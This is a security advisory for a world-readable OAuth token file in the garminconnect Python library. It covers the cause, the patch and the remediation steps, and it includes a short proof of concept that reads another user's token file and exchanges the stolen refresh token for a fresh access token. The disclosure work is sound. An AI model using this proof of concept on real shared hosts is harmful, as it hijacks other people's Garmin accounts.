CVE-2026-54447: garminconnect World-Readable OAuth Token File
The garminconnect Python library wrote Garmin OAuth tokens to disk without restricting file permissions, letting any local user on a shared machine read the token file and hijack the victim's Garmin…
The problem
garminconnect versions up to and including 0.3.4 persisted OAuth tokens via Client.dump(), which called Path.mkdir() and Path.write_text() with no explicit mode argument.
Under the default Linux umask of 022, this produced a token directory at 0o755 and garmin_tokens.json at 0o644, both world-readable. The file serializes di_token, di_refresh_token, and di_client_id. Any unprivileged local user could open and read it without any elevated access.
Proof of concept
A working proof-of-concept for CVE-2026-54447 in garminconnect, with the exact payload below.
# On a shared host, an unprivileged second user can read the victim's token file directly:
cat /home/victim/.garminconnect/garmin_tokens.json
# The file is world-readable (0o644) under umask 022:
# -rw-r--r-- 1 victim victim ... garmin_tokens.json
#
# Extracted refresh token can then be exchanged for fresh access tokens:
import json, requests
tokens = json.load(open("/home/victim/.garminconnect/garmin_tokens.json"))
refresh_token = tokens["di_refresh_token"]
client_id = tokens["di_client_id"]
resp = requests.post(
"https://diauth.garmin.com/api/v1/oauth2/token",
data={
"grant_type": "refresh_token",
"refresh_token": refresh_token,
"client_id": client_id,
},
)
print(resp.json()) # returns a fresh access_tokenThe root cause (CWE-732) is that Path.mkdir() and Path.write_text() both inherit permissions from the process umask. No mode= argument was passed, so the umask of 022 produced group- and world-readable results.
The patch (commit 77a3837) explicitly passes mode=0o700 to mkdir(), then opens the token file with os.open(..., O_WRONLY|O_CREAT|O_TRUNC|O_NOFOLLOW, 0o600) so the kernel creates it at 0o600 before any data is written. A defensive p.chmod(0o600) also tightens any pre-existing loose file on the next write.
The O_NOFOLLOW flag closes a secondary symlink-race vector where an attacker could pre-place a symlink at the token path to redirect the write to an arbitrary file.
The fix
Upgrade to garminconnect >= 0.3.5:
``bash pip install --upgrade garminconnect ``
Upgrading only tightens permissions on the NEXT write. Fix any token file already on disk immediately:
``bash chmod 700 ~/.garminconnect chmod 600 ~/.garminconnect/garmin_tokens.json ``
If the file was exposed on a shared host, treat the refresh token as compromised. Delete the token store and re-authenticate to mint a fresh token, then consider revoking the old one via Garmin's account settings.
Reported by EQSTLab.
Related research
- high · 8.7CVE-2026-70492CVE-2026-70492: open-webui Stored XSS via KaTeX Render-Error Fallback
- high · 7.1CVE-2026-70485CVE-2026-70485: Open WebUI NAT64-Encoded SSRF Filter Bypass
- high · 7.7CVE-2026-70479CVE-2026-70479: open-webui SSRF via Unvalidated Sub-Resource Requests in Playwright Web Loader
- highCVE-2026-69247CVE-2026-69247: cryptography PKCS#7 EnvelopedData Bleichenbacher Oracle